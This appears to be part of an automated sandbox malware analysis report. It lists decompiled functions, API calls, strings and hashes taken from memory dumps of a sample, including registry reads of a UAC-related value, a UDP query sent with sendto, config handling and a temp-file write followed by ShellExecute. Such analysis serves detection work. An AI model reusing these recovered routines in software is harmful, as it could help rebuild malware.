GetTickCount.KERNEL32 ref: 0057C69D
InterlockedIncrement.KERNEL32(0057C734), ref: 0057C6FE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,0057C730), ref: 0057C711
CloseHandle.KERNEL32(00000000,?,0057C730,00413588,00578A60), ref: 0057C71C

Strings

localcfg, xrefs: 0057C52D
0t, xrefs: 0057C545, 0057C69D

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CloseCountCreateHandleIncrementInterlockedThreadTick
String ID: 0t$localcfg
API String ID: 1026198776-1645711936
Opcode ID: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction ID: f2327be4172eeb21dd1be8165d2e192499441eb6bb6eca5fd1b060b092d25ede
Opcode Fuzzy Hash: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction Fuzzy Hash: 88512AB1A00B418FD7649F69D9C562ABFE9FB88300B50993EE18BC7A90D775F844DB10

Uniqueness

Uniqueness Score: -1.00%

Function 0042BB77, Relevance: 10.6, APIs: 7, Instructions: 138COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004373D8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043740B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043747F

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID:
API String ID: 1901436342-0
Opcode ID: 20adb6928b20449ab57bb2bc031bee64fc5fc89f39f4ec5f6c699768e4a5b995
Instruction ID: 196afb02c580e6a6f44edd2ababb850784b8307722ebf633c098e3e221096502
Opcode Fuzzy Hash: 20adb6928b20449ab57bb2bc031bee64fc5fc89f39f4ec5f6c699768e4a5b995
Instruction Fuzzy Hash: 48516D71904218EFCF18DF94C984AEEBBB1FF48314F20915AE4526B291D738AE42DF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040E3CA, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E3CA(void* __edx, void* _a4, char* _a8, intOrPtr* _a12) {
				int* _v8;
				int _v12;
				void* _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				int _v32;
				int* _v36;
				char _v68;
				intOrPtr* _t52;
				int _t69;
				int _t78;
				intOrPtr _t80;
				void* _t82;
				void* _t84;
				void* _t85;
				int _t89;
				void* _t91;
				void* _t92;
				void* _t93;

				_t82 = __edx;
				_v36 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v16) != 0) {
					L16:
					return _v36;
				}
				_t52 = _a12;
				_t89 = 0;
				_t6 = _t52 + 1; // 0x4128f9
				_t84 = _t6;
				do {
					_t80 =  *_t52;
					_t52 = _t52 + 1;
				} while (_t80 != 0);
				_t85 = _t52 - _t84;
				_v8 = 0;
				if(_t85 > 0x1c) {
					_t85 = 0x1c;
				}
				E0040EE08( &_v68, _a12, _t85);
				_t56 = _t91 + _t85 - 0x40;
				_v12 = 0;
				_v20 = _t91 + _t85 - 0x40;
				E0040F1ED(0, _t56, 0xa);
				_t93 = _t92 + 0x18;
				if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) != 0) {
					L15:
					RegCloseKey(_v16);
					goto L16;
				} else {
					do {
						_t89 = _t89 + _v12;
						_v8 = _v8 + 1;
						_v12 = 0;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
					} while (RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) == 0);
					if(_t89 <= 0) {
						goto L15;
					}
					_v32 = _t89;
					E0040DB2E(_t89);
					_t69 =  *0x4136c4;
					if(_t69 == 0) {
						goto L15;
					}
					_v12 = _t69;
					_v8 = 0;
					while(1) {
						_v28 = _t89;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
						if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, _v12,  &_v28) != 0) {
							break;
						}
						_t78 = _v28;
						if(_t78 == 0) {
							break;
						}
						_v12 =  &(_v12[_t78]);
						_t89 = _t89 - _t78;
						_v8 = _v8 + 1;
						if(_t89 > 0) {
							continue;
						}
						break;
					}
					_t106 = _t89;
					if(_t89 == 0) {
						E00402544( *0x4136c4,  *0x4136c4, _v32, 0xe4, 0xc8);
						E0040E332(_t82, _t106,  *0x4136c4, _v32);
						_v36 = 1;
					}
					goto L15;
				}
			}

0x0040e3ca
0x0040e3e0
0x0040e3ee
0x0040e528
0x0040e52d
0x0040e52d
0x0040e3f4
0x0040e3f9
0x0040e3fb
0x0040e3fb
0x0040e3fe
0x0040e3fe
0x0040e400
0x0040e401
0x0040e407
0x0040e409
0x0040e40f
0x0040e413
0x0040e413
0x0040e41c
0x0040e421
0x0040e429
0x0040e42c
0x0040e42f
0x0040e43a
0x0040e452
0x0040e51d
0x0040e520
0x00000000
0x0040e458
0x0040e458
0x0040e458
0x0040e45b
0x0040e463
0x0040e469
0x0040e46e
0x0040e484
0x0040e48a
0x00000000
0x00000000
0x0040e491
0x0040e494
0x0040e499
0x0040e4a1
0x00000000
0x00000000
0x0040e4a3
0x0040e4a6
0x0040e4a9
0x0040e4ae
0x0040e4b4
0x0040e4b9
0x0040e4d3
0x00000000
0x00000000
0x0040e4d5
0x0040e4da
0x00000000
0x00000000
0x0040e4dc
0x0040e4df
0x0040e4e1
0x0040e4e6
0x00000000
0x00000000
0x00000000
0x0040e4e6
0x0040e4e8
0x0040e4ea
0x0040e500
0x0040e50e
0x0040e516
0x0040e516
0x00000000
0x0040e4ea

APIs

RegOpenKeyExA.ADVAPI32(80000001,0040E5F2,00000000,00020119,0040E5F2,PromptOnSecureDesktop), ref: 0040E3E6
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 0040E44E
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 0040E482
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,80000001,?), ref: 0040E4CF
RegCloseKey.ADVAPI32(0040E5F2,?,?,?,?,000000C8,000000E4), ref: 0040E520

Strings

PromptOnSecureDesktop, xrefs: 0040E3D0

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 1586453840-2980165447
Opcode ID: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction ID: f21eb42f94b351107ce6bcf9928d909f9cde6c0f887f3b022360bbb50f243882
Opcode Fuzzy Hash: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction Fuzzy Hash: D94106B2D00219BFDF119FD5DC81DEEBBB9EB08308F14487AE910B2291E3359A559B64

Uniqueness

Uniqueness Score: -1.00%

Function 00404280, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404280(void* __ecx, intOrPtr _a4) {
				void* _v8;
				unsigned int _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t35;
				signed int _t38;
				signed int _t40;
				void* _t67;
				void* _t68;
				void* _t73;
				intOrPtr* _t74;

				_t68 = __ecx;
				_t35 = CreateEventA(0, 1, 1, 0);
				_v8 = _t35;
				if(_t35 != 0) {
					_t38 = E00404000(E00403ECD(_t68),  &_v20);
					if(_t38 == 0) {
						L11:
						_t40 = CloseHandle(_v8) | 0xffffffff;
						L12:
						return _t40;
					}
					_t67 = _v20;
					_t40 = _t38 | 0xffffffff;
					if(_t67 == _t40) {
						goto L12;
					}
					_v16 = E0040ECA5();
					E00403F18(_t67,  &_v16, 4, _v8, 0x7d0);
					if(E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0) == 0 || _v12 != (_v16 >> 2) + _v16) {
						CloseHandle(_t67);
						goto L11;
					} else {
						_v12 = _v12 + (_v12 >> 2);
						E00403F18(_t67,  &_v12, 4, _v8, 0x7d0);
						_v28 = 1;
						_t73 = 0xc;
						_v24 = 1;
						E00403F18(_t67,  &_v28, 8, _v8, 0x7d0);
						_t74 = E0040EBCC(_t73);
						 *_t74 = 0x61;
						 *((intOrPtr*)(_t74 + 4)) = 2;
						if(_a4 != 0) {
							 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
							 *0x41215a =  *0x41215a + 1;
						} else {
							 *(_t74 + 8) = 1;
						}
						E00403F18(_t67, _t74, _v24, _v8, 0x7d0);
						E0040EC2E(_t74);
						E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0);
						CloseHandle(_v8);
						CloseHandle(_t67);
						_t40 = 0 | _a4 == 0x00000000;
						goto L12;
					}
				}
				return _t35 | 0xffffffff;
			}

0x00404280
0x00404290
0x00404296
0x0040429b
0x004042b1
0x004042ba
0x004043c1
0x004043ca
0x004043cd
0x00000000
0x004043ce
0x004042c0
0x004042c3
0x004042c8
0x00000000
0x00000000
0x004042dc
0x004042e6
0x00404300
0x004043bb
0x00000000
0x00404318
0x00404322
0x0040432c
0x00404333
0x00404336
0x00404342
0x00404345
0x00404350
0x00404359
0x0040435f
0x00404366
0x00404371
0x00404375
0x00404368
0x00404368
0x00404368
0x00404384
0x0040438a
0x0040439a
0x004043ab
0x004043ae
0x004043b5
0x00000000
0x004043b5
0x00404300
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Strings

PromptOnSecureDesktop, xrefs: 004042A9

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID: PromptOnSecureDesktop
API String ID: 1371578007-2980165447
Opcode ID: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction ID: 96190e95dfac0256a72039fb05246d043f10f1ed4b28fe2ef93a25e2cd6a7057
Opcode Fuzzy Hash: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction Fuzzy Hash: D94181B1900209BADB109BA2CD45FDFBFBCEF40355F104566F604B21C1D7789A51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00576CB0, Relevance: 10.6, APIs: 7, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00576CCD
GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 00576D0B
GetLastError.KERNEL32 ref: 00576D90
CloseHandle.KERNEL32(?), ref: 00576D9E
GetLastError.KERNEL32 ref: 00576DBF
DeleteFileA.KERNEL32(?), ref: 00576DD0
GetLastError.KERNEL32 ref: 00576DE6

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: ErrorLast$File$CloseCreateDeleteDiskFreeHandleSpace
String ID:
API String ID: 3873183294-0
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: cbc3d48992b9b269487a6aacd66b24788c3d4f568a8983f34994a313cb082968
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 493122B2A00609BFCF209FA0AD45BDE7F78FF48310F14C066E254E3211D7704A54AB60

Uniqueness

Uniqueness Score: -1.00%

Function 00429850, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 105windowCOMMON

Download Yara Rule

APIs

__invoke_watson_if_oneof.LIBCMTD ref: 0042994E
_wcscpy_s.LIBCMTD ref: 00429990
__invoke_watson_if_error.LIBCMTD ref: 00429999
___crtMessageBoxW.LIBCMTD ref: 004299B2
_raise.LIBCMTD ref: 004299CB

Strings

Ph8S@, xrefs: 00429904

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof_raise_wcscpy_s
String ID: Ph8S@
API String ID: 908537515-3448839189
Opcode ID: 5cc9284ce16ccb3206412ac6ceddb373a8c02e67a4de6e24e554cd987979dad6
Instruction ID: 033ce7a799c851f1aea23fc4b932020a0583b015333681410fad8f08aa4a8bcf
Opcode Fuzzy Hash: 5cc9284ce16ccb3206412ac6ceddb373a8c02e67a4de6e24e554cd987979dad6
Instruction Fuzzy Hash: C44153B4F40228ABDB28DA95DC46FDA7374AB48744F5041DEF209762C1D6B85EC0CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004026FF, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 96
networkCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E004026FF(intOrPtr* __eax, intOrPtr _a4, intOrPtr _a8, long _a12) {
				long* _t33;
				long _t35;
				long* _t36;
				long _t37;
				long _t38;
				short _t39;
				short _t40;
				char _t42;
				intOrPtr _t43;
				void* _t48;
				long* _t49;
				long* _t51;
				long* _t52;
				long* _t53;
				long* _t54;
				void* _t55;
				long* _t56;
				long* _t57;
				long* _t60;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t66;

				_t65 = __eax;
				_t33 =  *0x412bf8; // 0x0
				_t42 = 0;
				if(_t33 == 0) {
					_t33 = E0040EBCC(0x400);
					_pop(_t48);
					 *0x412bf8 = _t33;
				}
				E0040EE2A(_t48, _t33, _t42, 0x400);
				_t35 = GetTickCount();
				_t49 =  *0x412bf8; // 0x0
				_t63 = __imp__#9;
				 *_t49 = _t35;
				_t36 =  *0x412bf8; // 0x0
				_t36[0] = _a12;
				_t37 =  *_t63(1);
				_t51 =  *0x412bf8; // 0x0
				_t51[1] = _t37;
				_t52 =  *0x412bf8; // 0x0
				_t38 = 0;
				_t52[1] = 0;
				_t53 =  *0x412bf8; // 0x0
				_t53[2] = 0;
				_t54 =  *0x412bf8; // 0x0
				_t54[2] = 0;
				_t60 =  *0x412bf8; // 0x0
				_t55 = 0;
				if( *_t65 != _t42) {
					do {
						_t43 =  *((intOrPtr*)(_t38 + _t65));
						_a12 = _t38;
						while(_t43 != 0) {
							if(_t43 != 0x2e) {
								_a12 = _a12 + 1;
								_t43 =  *((intOrPtr*)(_a12 + _t65));
								continue;
							}
							break;
						}
						 *((char*)(_t55 +  &(_t60[3]))) = _a12 - _t38;
						_t55 = _t55 + 1;
						while(_t38 < _a12) {
							 *((char*)(_t55 +  &(_t60[3]))) =  *((intOrPtr*)(_t38 + _t65));
							_t55 = _t55 + 1;
							_t38 = _t38 + 1;
						}
						if( *((char*)(_t38 + _t65)) == 0x2e) {
							_t38 = _t38 + 1;
						}
						_t42 = 0;
					} while ( *((intOrPtr*)(_t38 + _t65)) != 0);
				}
				 *((char*)(_t55 +  &(_t60[3]))) = _t42;
				_t24 = _t55 + 0xd; // 0xf
				_t66 = _t24;
				_t39 =  *_t63(0xf);
				_t56 =  *0x412bf8; // 0x0
				 *((short*)(_t56 + _t66)) = _t39;
				_t40 =  *_t63(1);
				_t57 =  *0x412bf8; // 0x0
				 *((short*)(_t57 + _t66 + 2)) = _t40;
				__imp__#20(_a4, 0x412bf8, _t66 + 4, _t42, _a8, 0x10);
				return 0 | _t40 <= 0x00000000;
			}

0x00402704
0x00402706
0x0040270b
0x00402715
0x00402718
0x0040271d
0x0040271e
0x0040271e
0x00402726
0x0040272e
0x00402734
0x0040273a
0x00402740
0x00402743
0x0040274e
0x00402752
0x00402754
0x0040275a
0x0040275e
0x00402764
0x00402766
0x0040276a
0x00402770
0x00402774
0x0040277a
0x0040277e
0x00402784
0x00402788
0x0040278a
0x0040278a
0x0040278d
0x004027a0
0x00402795
0x00402797
0x0040279d
0x00000000
0x0040279d
0x00000000
0x00402795
0x004027a9
0x004027ad
0x004027b9
0x004027b3
0x004027b7
0x004027b8
0x004027b8
0x004027c2
0x004027c4
0x004027c4
0x004027c5
0x004027c7
0x0040278a
0x004027ce
0x004027d2
0x004027d2
0x004027d5
0x004027d7
0x004027df
0x004027e3
0x004027e5
0x004027f0
0x00402802
0x00402815

APIs

GetTickCount.KERNEL32 ref: 0040272E
htons.WS2_32(00000001), ref: 00402752
htons.WS2_32(0000000F), ref: 004027D5
htons.WS2_32(00000001), ref: 004027E3
sendto.WS2_32(?,00412BF8,00000009,00000000,00000010,00000010), ref: 00402802

Part of subcall function 0040EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
Part of subcall function 0040EBCC: RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Strings

0t, xrefs: 0040272E

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: htons$Heap$AllocateCountProcessTicksendto
String ID: 0t
API String ID: 1128258776-1355922044
Opcode ID: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction ID: e317574a351225f02cdc10e669db3389ba019fd1a924c3d0ab3f78f3d9a30560
Opcode Fuzzy Hash: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction Fuzzy Hash: B8313A342483969FD7108F74DD80AA27760FF19318B19C07EE855DB3A2D6B6E892D718

Uniqueness

Uniqueness Score: -1.00%

Function 00579395, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 005793AF
GetModuleFileNameA.KERNEL32(00000000), ref: 005793B6
CharToOemA.USER32(?,?), ref: 005793C4
wsprintfA.USER32 ref: 005793F9

Part of subcall function 005792B4: GetTempPathA.KERNEL32(00000400,?), ref: 005792CB
Part of subcall function 005792B4: wsprintfA.USER32 ref: 00579339
Part of subcall function 005792B4: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0057935E
Part of subcall function 005792B4: lstrlen.KERNEL32(?,?,00000000), ref: 00579372
Part of subcall function 005792B4: WriteFile.KERNEL32(00000000,?,00000000), ref: 0057937D
Part of subcall function 005792B4: CloseHandle.KERNEL32(00000000), ref: 00579384

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00579431

Strings

PromptOnSecureDesktop, xrefs: 005793E3, 005793E8, 00579405

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction ID: cce0a7861c8a87899831ab2b64daf3592d63d6ac9926d1ab508c998bcde42c3a
Opcode Fuzzy Hash: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction Fuzzy Hash: 3D015EF69001197BDB21A7619D8DFDF3B7CEB95701F0040A2BB49E2080EAB496C58F75

Uniqueness

Uniqueness Score: -1.00%

Function 0057AA11, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 247stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 0057AACE

Strings

localcfg, xrefs: 0057AD5B
, xrefs: 0057AB9C

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: $localcfg
API String ID: 1659193697-2018645984
Opcode ID: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction ID: 291e7b597d4cdd3a2a63ebb4c09b4d6109ca72dfc862e5dba67e2542b5fa5a1b
Opcode Fuzzy Hash: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction Fuzzy Hash: 93713B72A44305BADF318B94FC89FAE3F69FBC0305F24C466F90DA2091DA619D84A717

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8A1, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040E8A1(void* __edx, char _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16) {
				CHAR* _v8;
				signed int _v12;
				intOrPtr _v16;
				CHAR* _v20;
				intOrPtr _v24;
				CHAR* _v28;
				CHAR* _v32;
				intOrPtr _v36;
				char _v37;
				char _v52;
				char _v56;
				intOrPtr _t87;
				intOrPtr _t95;
				int _t126;
				void* _t136;
				void* _t138;
				CHAR* _t139;
				void* _t146;
				char _t150;
				void* _t154;
				void* _t158;
				void* _t159;

				_t146 = __edx;
				_v20 = 0;
				E0040DD05();
				_t150 = _a4;
				_t158 = E0040DD84(_t150, _a8);
				_pop(_t138);
				if(_t158 != 0) {
					L2:
					_t16 = _t158 + 0x30; // 0x30
					_v8 = E00402419(_t138, _t16,  *((intOrPtr*)(_t158 + 0x24)), _a12);
					_t21 = lstrlenA(_a12) + 1; // 0x1
					_t136 = _t21;
					_t87 = lstrlenA(_a16) + _t136 + 1;
					_v16 = _t87;
					if(_v8 == 0) {
						_t139 =  *((intOrPtr*)(_t158 + 0x24));
						_v12 = _v12 & 0x00000000;
						_v8 = _t139;
						_t152 = _t139;
					} else {
						_t126 = lstrlenA(_v8);
						_t152 = _v8 - _t136 - _t158 + 0xffffffd0;
						_v12 = _t126 + _t136 + 1;
						_t87 = _v16;
						_v8 = _v8 - _t136 - _t158 + 0xffffffd0;
					}
					if(_v12 == _t87) {
						E0040EE08(_t152 + _t158 + 0x30, _a12, _t136);
						E0040EE08(_t152 + _t136 + _t158 + 0x30, _a16, _v16 - _t136);
						_t77 = _t158 + 0x30; // 0x30
						_t95 = E004024C2(_t77,  *((intOrPtr*)(_t158 + 0x24)), 0);
						if( *((intOrPtr*)(_t158 + 0x20)) != _t95) {
							 *((intOrPtr*)(_t158 + 0x20)) = _t95;
							 *0x4136c0 = 1;
						}
					} else {
						_t41 = _t87 + 0x24; // 0x24
						_t154 = E0040EBCC( *((intOrPtr*)(_t158 + 0x24)) - _v12 + _t41);
						if(_t154 != 0) {
							_t43 = _t158 + 0xc; // 0xc
							E0040EE08(_t154, _t43,  &(_v8[0x24]));
							 *((intOrPtr*)(_t154 + 0x18)) =  *((intOrPtr*)(_t158 + 0x24)) - _v12 + _v16;
							_v20 =  &(_v8[_t154]);
							E0040EE08( &(( &(_v8[_t154]))[0x24]), _a12, _t136);
							E0040EE08( &(_v20[_t136 + 0x24]), _a16, _v16 - _t136);
							E0040EE08( &(_v20[_v16 + 0x24]),  &(( &(_v8[_v12]))[_t158 + 0x30]),  *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12);
							_t66 = _t154 + 0x24; // 0x24
							 *((intOrPtr*)(_t154 + 0x14)) = E004024C2(_t66,  *((intOrPtr*)(_t154 + 0x18)), 0);
							E0040DF4C( *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12, _t154);
							E0040EC2E(_t154);
							_v20 = 1;
						}
					}
					L10:
					E0040DD69();
					return _v20;
				}
				_v56 = _t150;
				_v28 = 0;
				_v24 = 3;
				lstrcpynA( &_v52, _a8, 0x10);
				_v37 = 0;
				_v32 = 0;
				_v36 = E004024C2( &_v20, 0, 0);
				E0040DF4C(_t146,  &_v56);
				_t158 = E0040DD84(_t150, _a8);
				_t159 = _t159 + 0x18;
				if(_t158 == 0) {
					goto L10;
				}
				goto L2;
			}

0x0040e8a1
0x0040e8ac
0x0040e8af
0x0040e8b7
0x0040e8c0
0x0040e8c3
0x0040e8c6
0x0040e917
0x0040e91a
0x0040e932
0x0040e93a
0x0040e93a
0x0040e943
0x0040e947
0x0040e94a
0x0040e96a
0x0040e96d
0x0040e971
0x0040e974
0x0040e94c
0x0040e94f
0x0040e95c
0x0040e95f
0x0040e962
0x0040e965
0x0040e965
0x0040e979
0x0040ea3a
0x0040ea4f
0x0040ea59
0x0040ea5d
0x0040ea68
0x0040ea6a
0x0040ea6d
0x0040ea6d
0x0040e97f
0x0040e985
0x0040e98f
0x0040e994
0x0040e9a1
0x0040e9a6
0x0040e9b8
0x0040e9c0
0x0040e9c7
0x0040e9dd
0x0040ea02
0x0040ea0c
0x0040ea16
0x0040ea19
0x0040ea22
0x0040ea28
0x0040ea28
0x0040e994
0x0040ea77
0x0040ea77
0x0040ea83
0x0040ea83
0x0040e8d1
0x0040e8d4
0x0040e8d7
0x0040e8de
0x0040e8ea
0x0040e8ed
0x0040e8f5
0x0040e8fc
0x0040e90a
0x0040e90c
0x0040e911
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

Part of subcall function 0040DD84: lstrcmpiA.KERNEL32(80000011,00000000,00000108,80000001,00000000,0040DE62,80000001,80000005,00000108,00000000,000000E4,00000000,?,0040E3A7,000000F0), ref: 0040DDB5

lstrcpynA.KERNEL32(?,00401E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?), ref: 0040E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?,0000000A), ref: 0040E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E94F

Strings

localcfg, xrefs: 0040E8AB
flags_upd, xrefs: 0040E8A7

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction ID: 4a5a107d8aad74d0ab91cd578fe54778089971c235e688b3f19fdb3cdc8cf470
Opcode Fuzzy Hash: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction Fuzzy Hash: A5514F7290020AAFCB00EFE9C985DAEBBF9BF48308F14452EE405B3251D779EA548B54

Uniqueness

Uniqueness Score: -1.00%

Function 0057E8A4, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057DF55: GetCurrentThreadId.KERNEL32 ref: 0057DFA3

lstrcmp.KERNEL32(00410178,00000000), ref: 0057E8E3
lstrcpyn.KERNEL32(00000008,00000000,0000000F,?,00410170,00000000,?,00576111), ref: 0057E939
lstrcmp.KERNEL32(?,00000008), ref: 0057E972

Strings

A, xrefs: 0057E989
A, xrefs: 0057E949, 0057E94E
A, xrefs: 0057E8AF, 0057E8B6, 0057E91F, 0057E981

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: lstrcmp$CurrentThreadlstrcpyn
String ID: A$ A$ A
API String ID: 2920362961-1846390581
Opcode ID: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction ID: c9f3f20728b006ebdc9d277041ff7252192f1dd17dada4aec65b9a33b3f827cc
Opcode Fuzzy Hash: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
